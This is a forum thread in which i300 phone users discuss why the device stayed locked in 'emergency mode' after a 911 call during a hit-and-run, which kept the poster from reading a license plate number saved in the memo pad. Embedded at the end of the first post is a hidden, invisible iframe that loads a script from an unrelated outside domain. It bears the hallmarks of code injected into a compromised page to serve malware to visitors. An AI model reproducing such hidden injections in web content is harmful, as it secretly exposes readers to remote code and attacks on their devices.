I was in a hit and run yesterday but managed to get the assailants license number and wrote it in my memo pad.

I called 911 and tried to give the operator the number but I couldn't get back to the memo pad. In fact, I counldn't leave the phone app at all, all the hard buttons and soft buttons at the bottom of the phone app did nothing. At this point I was frantic and tried to find someone else who had the number and I got disconnected from the operator somehow. At this point the Palm was still locked and the phone screen said press * and then # to unlock. I don't recall if the phone screen said that when I was still connected or not.

I can't for the life of me understand the reasoning behind this functionality.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

first off my apologies for your unfortunate event... i hope you and everyone else in your vehicle are ok (that includes the i300).


secondly, the phone should not have worked that way.. although i have not had the pleasure to call 911 via the 1300. maybe in a frantic rush you were pressing things to quickly for the phone to function and maybe it "hung"...

you did not have the keyguard on did you?

and you have nbot synced the phone to any old palm data correct?

just typical trouble shooting questions to ask...

I haven't used 911 on the I300, but I did use it on my old Sanyo 4500 (a girl in one of my classes had major asthma attack in the middle of class--I was really glad I had my phone!). When I dialed 911, the 4500 went into something I think it called "Emergency Mode" or something. I don't remember the details of what it entailed, but I do remember I had to press something to get out of it.

The I300 may do the same thing, and as a result, you may be locked out of the Palm functions. I don't know the reasoning behind this behavior, but it does seem to be something that may be a function of all Sprint phones (perhaps all cell phones) when you dial 911. I dunno.

-Brian

I don't think they Keygaurd was on, I remember trying the keygaurd button but it had no effect.

I did sync this phone to my old Palm V data when I got it but that was back in November, and I haven't had any other problems like this since then.

Perhaps they phone gts locked so you don't accidently hang up on the operator.

Weird. I like to try and recreate the situation but I don't think 911 would appreciate that.

BTW, nobody was hurt in the accident.

I don't think there's any malfunction at all. Makes me feel a bit safer.

__________________
H2Orange media

"emergency mode" is when you have the phone locked for example.. it allows you to dial ONLY the emergency number.. you can not do anything else while in this mode... thats probably what you were in...

you were trying to get into the memo (a palm function) and it would not allow you.. thats what it should do..

perhaps pressing those sequence of buttons would have allowed you in while in that mode...

yeah id aggree with MJ, its probably normal...

still.. you should not sync the phone to old palm stuff.. it may be fine now.. but you might install that one app that will break the camels back!

glad all is fine...

by the by, how did the whole ordeal turn out?

Wrong. I've dialed 911 from my I300. When you dial 911 the phone goes into "emergency mode". After you complete your call, you are required to push "#" and "*" to get out of that mode.

I think the rationale is that you don't want your phone to cut you off unexpectedly or have an application interrupt your call while you are talking to the 911 operator.

Unfortunately in this case, that "feature" was counterproductive.

Sammyterry, your phone is not malfunctioning.

Adiascar.

Somehow, I ended up getting cut off from the operator anyway. I'm not sure how that happened.

I'm still not sure I agree with the rational behind this feature. Seems like an over-engineered solution to a very minor problem.


What happaned was a girl rear ended our car as a result of being rear ended by someone else. As we collecting our thoughts, we realized the guy was taking off. He drove by us but was stopped at the light we were at (idiot). At that point we are all yelling out his license plate number repeatly until one of us could writet it down. Then we waited for about 15 minutes for a cop to show up. He said, another officer was on his way and to go ahead and pull off the road and he left?? We pulled into a parking a lot and then waited for at least an hour for the next cop to show up. He ran the plate number but it didn't match the car it was on. Hopefully they can catch the guy.

I actually think that this feature makes some sense, although for all the wrong reasons. The i300 is not a perfectly reliable device. It's fine for a cell phone, it's passable for a PDA, but it's a disaster as a lifeline. I've never had the phone crash when the phone app is running, but I've had it crash a number of times running other palm apps (forcing the phone to hang up as resets) and I've had it "crash and burn" requiring a hard reset when running certain applications (Avantgo, a puzzle-bobble clone, etc.) That particular condition is one that I'm sure would stump a lot of calm users, let alone those with reason to call 911.

So if you're designing this product, I think it makes sense to have it go into a "safe mode" to do everything possible to keep the phone from crashing. It makes sense from a customer-service standpoint and from a legal standpoint. Yeah, it would be better to have a phone that didn't crash at all, but if you're not going to be able to provide that, this is the next-best thing.

Unfortunately, if you write down something in the memo pad to relay to police, or if you keep a set of medical records there, you're screwed. I don't know if a warning about that is in the manual, but it should be.

-vave

thats what i thought i said.. saying the phone being locked was an example .. emergency mode does what you posted which is the thought i was trying to get across...

of course we wont have these issues once the e911 standard gets fullly implemented in the next gen phones...